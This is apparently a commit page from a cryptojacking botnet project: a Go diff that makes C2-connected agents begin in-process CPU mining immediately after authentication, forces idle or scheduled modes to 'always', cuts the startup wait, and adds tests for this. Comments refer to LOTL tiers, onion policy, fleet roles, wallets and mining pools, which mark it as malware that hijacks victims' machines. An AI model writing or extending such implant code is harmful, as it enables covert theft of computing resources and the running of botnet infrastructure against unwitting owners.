Start simple-deploy mining immediately after C2 auth.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Simple Deploy agents now kick the in-process chain right after WS connect with always mode and cpu_inprocess policy, recommended forge defaults mine immediately, and the fleet banner auto-restarts stuck agents once.
This commit is contained in:
AetherForge
2026-06-07 21:34:50 -07:00
parent 456988caaa
commit 9b2eafd583
9 changed files with 135 additions and 16 deletions

View File

@@ -149,7 +149,7 @@ func (c *AgentClient) Run() error {
c.miningChain = c.newMiningChainRunner()
if isSeeder {
deploy.StartSeederStaging(c.cfg)
} else if deploy.WantsDeferMining() || c.cfg.SimpleDeploy {
} else if deploy.WantsDeferMining() {
go c.startMiningWhenReady(chainCtx)
} else {
c.miningChain.Start(chainCtx)
@@ -319,6 +319,7 @@ func (c *AgentClient) connectLoop(serverURL string) error {
return err
}
c.connected.Store(true)
c.kickMiningAfterAuth()
defer c.connected.Store(false)
statsStop := make(chan struct{})
@@ -428,7 +429,6 @@ func (c *AgentClient) authenticate() error {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.applyAuthLotlPolicy(resp)
c.kickMiningAfterAuth()
c.startContingencyIfEnabled(c.miningCtx)
c.applyAuthFleetRole(resp)
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
@@ -1492,6 +1492,18 @@ func buildWSURL(serverURL string) (string, error) {
// kickMiningAfterAuth restarts the mining chain with server-pulled tier/onion policy.
// Mining may have started before auth with forge defaults; auth applies Calibrate policy.
func (c *AgentClient) forceSimpleDeployMiningMode() {
if !c.cfg.SimpleDeploy {
return
}
c.mu.Lock()
defer c.mu.Unlock()
switch strings.ToLower(strings.TrimSpace(c.cfg.MiningMode)) {
case "idle", "scheduled", "":
c.cfg.MiningMode = "always"
}
}
func (c *AgentClient) kickMiningAfterAuth() {
if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
return
@@ -1499,10 +1511,31 @@ func (c *AgentClient) kickMiningAfterAuth() {
if c.miningCtx == nil || c.miningChain == nil {
return
}
if !c.connected.Load() {
return
}
go func() {
c.miningChain.refreshTierOrchestrator()
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
log.Printf("[mining] tier policy refreshed after auth (simple_deploy/defer)")
if c.cfg.SimpleDeploy {
c.forceSimpleDeployMiningMode()
if strings.TrimSpace(c.cfg.Wallet) == "" {
log.Printf("[mining] BLOCKED: wallet not configured — set Calibrate wallet and re-forge")
}
if strings.TrimSpace(c.cfg.PoolHost) == "" {
log.Printf("[mining] BLOCKED: pool host not configured — set Calibrate pool and re-forge")
}
st := c.miningChain.Status()
if st.ActiveMethod != "" || st.LOTLTier != "" {
log.Printf("[mining] simple_deploy: restarting chain after auth with cpu_inprocess policy")
c.miningChain.Restart(c.miningCtx)
} else {
log.Printf("[mining] simple_deploy: starting mining chain after auth")
c.miningChain.Start(c.miningCtx)
}
return
}
if deploy.WantsDeferMining() {
log.Printf("[mining] tier policy refreshed after auth (defer)")
return
}
log.Printf("[mining] restarting chain after auth with server policy")

View File

@@ -41,9 +41,9 @@ func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
log.Printf("[mining] disabled at forge (apk_mode=%v scout_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.ScoutMode, c.cfg.MiningDisabled)
return
}
const maxWait = 120 * time.Second
const maxWait = 30 * time.Second
deadline := time.Now().Add(maxWait)
ticker := time.NewTicker(5 * time.Second)
ticker := time.NewTicker(1 * time.Second)
defer ticker.Stop()
tryStart := func(reason string) {

View File

@@ -70,13 +70,36 @@ func TestSimpleDeployRefreshesAuthForceTier(t *testing.T) {
}
}
func TestKickMiningAfterAuthSkipsSimpleDeploy(t *testing.T) {
func TestKickMiningAfterAuthStartsSimpleDeployWhenConnected(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.SimpleDeploy = true
cfg.MinerExecution = "inprocess"
c := miningChainTestClient(t, cfg)
c.miningChain = newTestMiningChainRunner(t, c)
c.miningCtx = context.Background()
c.connected.Store(true)
c.kickMiningAfterAuth()
deadline := time.Now().Add(2 * time.Second)
for c.cfg.MiningMode != "always" && time.Now().Before(deadline) {
time.Sleep(25 * time.Millisecond)
}
if c.cfg.MiningMode != "always" {
t.Fatalf("mining_mode=%q want always", c.cfg.MiningMode)
}
}
func TestKickMiningAfterAuthWaitsForC2OnSimpleDeploy(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.SimpleDeploy = true
c := miningChainTestClient(t, cfg)
c.miningChain = newTestMiningChainRunner(t, c)
c.miningCtx = context.Background()
// must not panic or restart when simple deploy
c.connected.Store(false)
c.kickMiningAfterAuth()
time.Sleep(150 * time.Millisecond)
if r := c.miningChain.Status(); r.ActiveMethod != "" {
t.Fatalf("should not start mining before C2 connect, active=%q", r.ActiveMethod)
}
}